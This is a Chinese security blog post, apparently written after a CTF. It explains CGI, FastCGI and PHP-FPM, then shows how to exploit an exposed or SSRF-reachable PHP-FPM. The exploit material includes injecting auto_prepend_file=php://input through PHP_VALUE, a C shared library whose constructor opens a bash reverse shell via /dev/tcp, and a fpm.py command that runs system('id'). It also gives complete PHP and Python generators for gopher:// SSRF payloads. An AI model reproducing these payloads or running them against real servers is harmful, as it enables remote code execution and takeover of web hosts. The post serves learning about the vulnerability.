Toc
  1. 基本概念
    1. php的运行方式
      1. CGI协议
      2. fast-cgi协议
      3. 模块模式
      4. cli模式
    2. fast-cgi详解
      1. 通讯方式
      2. fast-cgi通讯协议
      3. php-fpm的安装与配置
        1. 配置NGINX
        2. 配置tcp模式下的php-fpm
        3. 配置unix socket模式下的php-fpm
  2. php-fpm 未授权访问攻击
    1. 简单原理
    2. 任意代码执行
    3. 加载.so绕过disable_functions
    4. tcp模式下的fastcgi利用
      1. 远程tcp
      2. ssrf攻击本地
        1. 生成payload-php版
        2. 生成payload-python版
        3. 不绕过disable_functions利用过程
        4. 加载.so绕过disable_functions利用过程
    5. unix socks模式下的fastcgi利用
  3. 利用FTP进行php-fpm未授权访问攻击
    1. 伪造FTP服务器
    2. 生成payload
    3. 攻击
  4. Nginx IIS7解析漏洞
    1. Nginx(IIS7)解析漏洞
Toc
0 results found
Rayi
Fastcgi PHP-FPM RCE

打蓝帽的时候遇到了一个非预期,涉及到自己的知识盲区了,赶紧补习补习

基本概念

php的运行方式

Apache、NGINX服务器是如何与php程序进行通信的呢?

CGI协议

cgi模式,即通用网关接口(Common Gateway Interface)

它允许web服务器通过特定的协议与应用程序通信

调用原理大概为:用户请求->Web服务器接收请求->fork子进程->调用程序/执行程序->程序返回内容/程序调用结束->web服务器接收内容->返回给用户

由于每次用户请求,都得fork创建进程调用一次程序,然后销毁进程,所以性能较低

对一个 CGI 程序,做的工作其实只有:从环境变量(environment variables)标准输入(standard input)中读取数据、处理数据、向标准输出(standard output)输出数据。

环境变量中存储的叫 Request Meta-Variables,也就是诸如 QUERY_STRINGPATH_INFO 之类的东西,这些是由 Web Server 通过环境变量传递给 CGI 程序的,CGI 程序也是从环境变量中读取的。

标准输入中存放的往往是用户通过 PUTS 或者 POST 提交的数据,这些数据也是由 Web Server 传过来的。

fast-cgi协议

fast-cgi是cgi模式的升级版,它像是一个常驻型的cgi,只要开启后,就可一直处理请求,不再需要结束进程

调用原理大概为:web服务器fast-cgi进程管理器初始化->预先forkn个进程用户请求->web服务器接收请求->交给fast-cgi进程管理器->fast-cgi进程管理区接收,给其中一个空闲fast-cgi进程处理->处理完成,fast-cgi进程变为空闲状态,等待下次请求->web服务器接收内容->返回给用户

大部分服务器上php使用的是fast-cgi协议

img

模块模式

Apache中要想使用php,需要安装相应的php模块

它把php作为apache的模块随apache启动而启动,接收到用户请求时则直接通过调用mod_php模块进行处理。

模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。

如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5),PHP模块通过注册apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求

cli模式

即命令行模式

该模式不需要借助其他程序,直接输入php xx.php 就能执行php代码,命令行模式和常规web模式明显不一样的是:

- 没有超时时间
- 默认关闭buffer缓冲
- STDIN和STDOUT标准输入/输出/错误 的使用
- echo var_dump,phpinfo等输出直接输出到控制台
- 可使用的类/函数 不同
- php.ini配置的不同

fast-cgi详解

官方定义如下: FastCGI 进程管理器(FPM)

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。

www.example.com
        |
        |
      Nginx
        |
        |
路由到www.example.com/index.php
        |
        |
加载nginx的fast-cgi模块
        |
        |
fast-cgi监听127.0.0.1:9000地址
        |
        |
www.example.com/index.php请求到达127.0.0.1:9000
        |
        |
php-fpm 监听127.0.0.1:9000
        |
        |
php-fpm 接收到请求,启用worker进程处理请求
        |
        |
php-fpm 处理完请求,返回给nginx
        |
        |
nginx将结果通过http返回给浏览器

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,也就是说FPM的功能大部分是FastCGI的功能,所以我们可以了解下FastCGI的作用。

FastCGI本质是一种协议,在cgi协议的基础上发展起来的。

通讯方式

php-fpm的通信方式有tcp套接字(unix socket)两种方式

1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信

2.unix socket其实严格意义上应该叫unix domain socket,它是*nix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。

Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。

与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播

效率方面,由于tcp需要经过本地回环驱动,还要申请临时端口和tcp相关资源,所以会比socket差

但是在多并发条件下tcp的比socket有优势。 基于两种通信方式不同,所以在攻击的时候也会有相应的差别。

fast-cgi通讯协议

略过了,弟弟太菜了,这几篇文章讲的挺好

https://xz.aliyun.com/t/5598

https://segmentfault.com/a/1190000016564382

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

php-fpm的安装与配置

1. sudo apt update
2. sudo apt install -y nginx
3. sudo apt install -y software-properties-common
4. sudo add-apt-repository -y ppa:ondrej/php
5. sudo apt update
6. sudo apt install -y php7.3-fpm

配置NGINX

两种方式都在这里

vim /etc/nginx/sites-enabled/default

image-20210501163703108

配置tcp模式下的php-fpm

配置NGINX使用tcp模式,注意记得把include包含配置文件那一行也取消注释

image-20210501182651767

配置php-fpm使用tcp模式

vim /etc/php/7.3/fpm/pool.d/www.conf

image-20210501164119629

重启nginx和启动php-fpm

/etc/init.d/php7.3-fpm restart
service nginx reload

image-20210501182753537

配置unix socket模式下的php-fpm

修改NGINX配置,注意版本

image-20210501183257629

修改php-fpm配置

image-20210501183048897

重启NGINX和php-fpm

/etc/init.d/php7.3-fpm restart
service nginx restart

php-fpm 未授权访问攻击

简单原理

FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。

FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。

此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404:

14931285844835.jpg

在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd;但后来,fpm的默认配置中增加了一个选项security.limit_extensions

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied.

14931290357686.jpg

ps. 这个配置也会影响Nginx解析漏洞,我觉得应该是因为Nginx当时那个解析漏洞,促成PHP-FPM增加了这个安全选项。另外,也有少部分发行版安装中security.limit_extensions默认为空,此时就没有任何限制了。

由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。

万幸的是,通常使用源安装php的时候,服务器上都会附带一些php后缀的文件,我们使用find / -name "*.php"来全局搜索一下默认环境:

14931297810961.jpg

找到了不少。这就给我们提供了一条思路,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php

任意代码执行

那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_fileauto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_filephp://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USERPHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码。

加载.so绕过disable_functions

disable_functions这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中

因此我们无法通过修改环境变量的方式进行修改

但是我们可以通过加载恶意so文件的方式进行绕过

先写一个扩展

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/xxxx/2333 0>&1'");
}

编译

gcc evil.c -fPIC -shared -o evil.so

至此我们的恶意so文件生成完毕,下一步是构造fast-cgi协议

这里有好几个exp:

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

https://github.com/wuyunfeng/Python-FastCGI-Client

https://github.com/adoy/PHP-FastCGI-Client

https://nullget.sourceforge.io/?q=node/795&lang=zh-hans

根据模式不同,利用方式略有不同

tcp模式下的fastcgi利用

远程tcp

如果绑定的是0.0.0.0:9000,而且防火墙未做限制

那直接用脚本进行远程攻击即可(我这里用的docker映射出的端口,用的127.0.0.1)

python fpm.py 127.0.0.1 /var/www/html/index.php -c "<?php system('id'); exit(); ?>"

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

image-20210502162250545

ssrf攻击本地

生成payload-php版

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        // 输出构造好的请求
        return (urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
// php5
// ssrf生成payload的话,这里不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$SCRIPT_FILENAME = '/var/www/html/test.php';
$SCRIPT_NAME = '/'.basename($SCRIPT_FILENAME);
// GET参数
$REQUEST_URI = $SCRIPT_NAME;
// POST参数
$content = '<?php phpinfo();?>';
// 设置php_value利用php://input执行代码
$PHP_ADMIN_VALUE = "allow_url_include=On\nopen_basedir=/\nauto_prepend_file=php://input";
// 设置php_value加载恶意so文件
// $PHP_ADMIN_VALUE = "extension_dir = /tmp\nextension = evil.so\n";
$res = $client->request(
                      array(
                            'GATEWAY_INTERFACE' => 'FastCGI/1.0',
                            'REQUEST_METHOD' => 'POST',
                            'SCRIPT_FILENAME' => $SCRIPT_FILENAME,
                            'SCRIPT_NAME' => $SCRIPT_NAME,
                            'REQUEST_URI' => $REQUEST_URI,
                            'PHP_ADMIN_VALUE'   => $PHP_ADMIN_VALUE,
                            'SERVER_SOFTWARE' => 'php/fastcgiclient',
                            'REMOTE_ADDR' => '127.0.0.1',
                            'REMOTE_PORT' => '9985',
                            'SERVER_ADDR' => '127.0.0.1',
                            'SERVER_PORT' => '80',
                            'SERVER_NAME' => 'localhost',
                            'SERVER_PROTOCOL' => 'HTTP/1.1',
                            'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
                            'CONTENT_LENGTH' => strlen($content),
                                   ),
                      $content
                      );
# 根据情况选择是否需要二次编码
echo('gopher://127.0.0.1:9000/_'.str_replace("%2B", "+", urlencode($res)));

生成payload-python版

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        #return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
    	# 构造ssrf时不进行连接测试
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        # 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
        #self.sock.send(request)
        #self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        #self.requests[requestId]['response'] = ''
        #return self.__waitForResponse(requestId)
        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    # parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    # parser.add_argument('host', help='Target host, such as 127.0.0.1')
    # parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    # parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo() exit ?>')
    # parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    # args = parser.parse_args()

    client = FastCGIClient("localhost", "9000", 3, 0)

    SCRIPT_FILENAME = '/var/www/html/test.php'
    SCRIPT_NAME = '/'+SCRIPT_FILENAME.split('/')[-1]
    # GET参数
    REQUEST_URI = SCRIPT_NAME
    # POST参数
    content = '<?php phpinfo();'
    # 设置php_value利用php://input执行代码
    PHP_VALUE = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"
    # 设置php_value加载恶意so文件
    # PHP_VALUE = "extension_dir = /tmp\nextension = evil.so\n"
    params = {
                                'GATEWAY_INTERFACE' : 'FastCGI/1.0',
                                'REQUEST_METHOD' : 'POST',
                                'SCRIPT_FILENAME' : SCRIPT_FILENAME,
                                'SCRIPT_NAME' : SCRIPT_NAME,
                                'REQUEST_URI' : REQUEST_URI,
                                'PHP_VALUE'   : PHP_VALUE,
                                'SERVER_SOFTWARE' : 'php/fastcgiclient',
                                'REMOTE_ADDR' : '127.0.0.1',
                                'REMOTE_PORT' : '9985',
                                'SERVER_ADDR' : '127.0.0.1',
                                'SERVER_PORT' : '80',
                                'SERVER_NAME' : 'localhost',
                                'SERVER_PROTOCOL' : 'HTTP/1.1',
                                'CONTENT_TYPE' : 'application/x-www-form-urlencoded',
                                'CONTENT_LENGTH' : str(len(content)),
                                       }
    # 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
    #response = client.request(params, content)
    #print(force_text(response))
    # 根据情况选择是否需要二次编码
    request_ssrf = urlparse.quote(urlparse.quote(client.request(params, content)))
